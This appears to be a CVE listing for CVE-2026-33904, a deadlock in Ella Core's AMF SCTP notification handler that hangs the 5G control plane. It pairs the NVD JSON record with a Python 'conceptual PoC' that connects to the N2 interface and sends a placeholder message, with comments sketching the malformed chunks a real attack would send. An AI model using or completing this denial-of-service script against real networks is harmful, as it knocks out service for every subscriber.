CVE-2026-33904

# This is a conceptual PoC for triggering the SCTP notification handler deadlock. # It requires a target running a vulnerable version of Ella Core. import socket import sctp TARGET_IP = "192.168.1.100" # Replace with Ella Core N2 Interface IP TARGET_PORT = 36412 # Standard SCTP port for N2 interface def trigger_deadlock(): print(f"[*] Attempting to connect to {TARGET_IP}:{TARGET_PORT} via SCTP...") try: # Create an SCTP socket sock = sctp.sctpsocket(socket.AF_INET, socket.SOCK_STREAM) # Attempt to establish association to the N2 interface sock.connect((TARGET_IP, TARGET_PORT)) print("[+] Connection established.") # In a real exploit, specific malformed SCTP notifications or chunks # would be sent here to trigger the race condition in the handler. # For example, sending a rapid stream of SHUTDOWN or ABORT chunks # mixed with DATA chunks might trigger the stale-entry scan issue. # Simulating sending data that triggers the notification handler path message = b"\x00\x00\x00\x01" # Placeholder for specific signaling message sock.sctp_send(message) print("[+] Payload sent. Check if AMF control plane hangs.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": trigger_deadlock()

{"cve": {"id": "CVE-2026-33904", "sourceIdentifier": "[email protected]", "published": "2026-03-27T21:17:26.640", "lastModified": "2026-04-20T12:32:55.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ella Core is a 5G core designed for private networks. Prior to version 1.7.0, a deadlock in the AMF's SCTP notification handler causes the entire AMF control plane to hang until the process is restarted. An attacker with access to the N2 interface can cause Ella Core to hang, resulting in a denial of service for all subscribers. Version 1.7.0 adds deferred Radio cleanup in serveConn SCTP server so that every connection exit path removes the radio. Remove the stale-entry scan from SCTP Notification handling."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-833"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ellanetworks:ella_core:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.0", "matchCriteriaId": "9BAD1DBD-ED4B-49AB-A563-C4838F8F8979"}]}]}], "references": [{"url": "https://github.com/ellanetworks/core/commit/999f606c5cae261471d9e3f063d7ecd1bd754076", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ellanetworks/core/releases/tag/v1.7.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ellanetworks/core/security/advisories/GHSA-9h59-p45g-445h", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}